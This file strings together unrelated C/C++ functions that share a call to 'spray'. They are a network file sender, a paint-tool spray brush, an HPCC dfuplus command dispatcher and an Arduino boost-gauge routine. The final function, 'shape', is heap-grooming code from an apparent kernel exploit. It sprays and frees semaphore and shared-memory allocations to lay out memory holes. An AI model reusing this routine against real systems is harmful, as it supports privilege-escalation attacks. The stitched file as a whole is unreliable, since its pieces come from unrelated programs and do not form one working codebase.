int main(int argc, char *argv[])
{
struct sockaddr *srv, *cli;
int s, srv_len, cli_len, rc;
unsigned int fr;
__u16 padding;
if (check_srv_params(argc, argv))
exit(1);
s = socket(AF_XIA, SOCK_DGRAM, get_xdp_type());
if (s < 0) {
int orig_errno = errno;
fprintf(stderr, "Cannot create XDP socket: %s\n",
strerror(orig_errno));
return 1;
}
srv = get_addr(argv[1], &srv_len);
assert(srv);
assert(!bind(s, srv, srv_len));
cli = get_addr(argv[2], &cli_len);
assert(cli);
/* Read padding amount. */
rc = sscanf(argv[4], "%hd", &padding);
if (errno != 0) {
fprintf(stderr, "%s: sscanf errno=%i: %s\n",
__func__, errno, strerror(errno));
return 1;
} else if (rc != 1) {
fprintf(stderr, "No padding data exists.\n");
return 1;
}
rc = sscanf(argv[5], "%d", &fr);
if (errno != 0) {
fprintf(stderr, "%s: sscanf errno=%i: %s\n",
__func__, errno, strerror(errno));
return 1;
} else if (rc != 1) {
fprintf(stderr, "No failure rate exists.\n");
return 1;
}
if (fr > 100) {
fprintf(stderr, "Failure rate must be between 0 and 100.\n");
return 1;
}
spray(s, cli, cli_len, argv[3], padding, fr);
fprintf(stderr, "File sent.\n");
free(cli);
free(srv);
assert(!close(s));
return 0;
}
void drawSpray()
{
int b,sx,sy;
getmousepos(&b,&sx,&sy);
if(b==1)
hidemouseptr();
while(b==1)
{
getmousepos(&b,&sx,&sy);
spray(sx,sy,cur_color);
}
showmouseptr();
}
int CDfuPlusHelper::doit()
{
const char* action = globals->queryProp("action");
if(action == NULL || *action == '\0')
throw MakeStringException(-1, "action is missing");
else if(stricmp(action, "spray") == 0)
return spray();
else if(stricmp(action, "replicate") == 0)
return replicate();
else if(stricmp(action, "despray") == 0)
return despray();
else if(stricmp(action, "copy") == 0)
return copy();
else if(stricmp(action, "copysuper") == 0)
return copysuper();
else if(stricmp(action, "remove") == 0)
return remove();
else if(stricmp(action, "rename") == 0)
return rename();
else if(stricmp(action, "list") == 0)
return list();
else if(stricmp(action, "recover") == 0)
return recover();
else if(stricmp(action, "addsuper") == 0)
return superfile("add");
else if(stricmp(action, "removesuper") == 0)
return superfile("remove");
else if(stricmp(action, "listsuper") == 0)
return superfile("list");
else if(stricmp(action, "savexml") == 0)
return savexml();
else if(stricmp(action, "add") == 0)
return add();
else if(stricmp(action, "status") == 0)
return status();
else if(stricmp(action, "abort") == 0)
return abort();
else if(stricmp(action, "resubmit") == 0)
return resubmit();
else if(stricmp(action, "monitor") == 0)
return monitor();
#ifdef DAFILESRV_LOCAL
else if(stricmp(action, "dafilesrv") == 0)
return rundafs();
#endif
else
throw MakeStringException(-1, "Unknown dfuplus action");
return 0;
}
void test_all_meters(){
/* if ((analogRead(tempPin) > 512) && (mode != 1)){ //oil temp
mode = 1;
temp_meter();
}
if ((analogRead(t1pin) > 512) && (mode != 6)){ //temp1
mode = 6;
two_temp_meter();
}
if ((analogRead(t2pin) > 512) && (mode != 6)){ //temp2
mode = 6;
two_temp_meter();
}*/
if (( (lookup_boost(analogRead(boostPin))) > 140) && (mode != 3)){ //boost
mode = 3;
boost_peak=lookup_boost(analogRead(boostPin));
spray();
boost_meter();
}
return;
}
int shape(size_t *spray_size) {
size_t keys[0x400];
int exec[2];
int sv[2];
char flag;
size_t bytes = 0, tofree = 0;
size_t factor,hole_size;
struct flock fl;
memset(&fl, 0, sizeof(fl));
pid_t pid, wpid;
int status;
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) == -1) {
printf("[*err] socketpair failed\n");
return 1;
}
bytes = spray(1);
if (bytes == (size_t)-1) {
printf("[*err*] bytes < 0, are you root?\n");
return 1;
}
*spray_size = bytes;
hole_size = get_size_factor(*spray_size, &factor);
tofree = hole_size / (bytes / 1) + 1;
printf("[*] allocate holes before the workspace\n");
for (int i = 0; i < 0x400; ++i) {
keys[i] = alloc_sem(0x7000);
}
for (int i = 0; i < 0x20; ++i) {
alloc_sem(0x7000);
}
for (int i = 0; i < 0x2000; ++i) {
alloc_sem(4063);
}
for (int i = 0; i < 0x2000; ++i) {
alloc_sem(3);
}
pid = fork();
if (pid > 0) {
printf("[*] alloc 0xc pages groups, adjust to continuous allocations\n");
bytes = spray(5);
write(sv[1], "p", 1);
read(sv[1], &flag, 1);
} else {
// son
read(sv[0], &flag, 1);
printf("[*] alloc workspace pages\n");
bytes = spray(tofree);
printf("[*] finish allocate workspace allocations\n");
write(sv[0], "p", 1);
}
if (pid > 0) {
printf("[*] allocating (0xc - shm | shm) AFTER the workspace\n");
for (int i = 0; i < 0x100; ++i) {
alloc_sem(4061);
for (int j = 0; j < 0x5; ++j) {
alloc_shm(i * 0x100 + j);
}
}
write(sv[1], "p", 1);
} else {
read(sv[0], &flag, 1);
printf("[*] free middle allocation, creating workspace freed\n");
exit(1);
}
while ((wpid = wait(&status)) > 0);
printf("[*] free prepared holes, create little pages holes before the workspace\n");
for (int i = 0; i < 0x400; ++i) {
free_sem(keys[i]);
}
return 0;
}
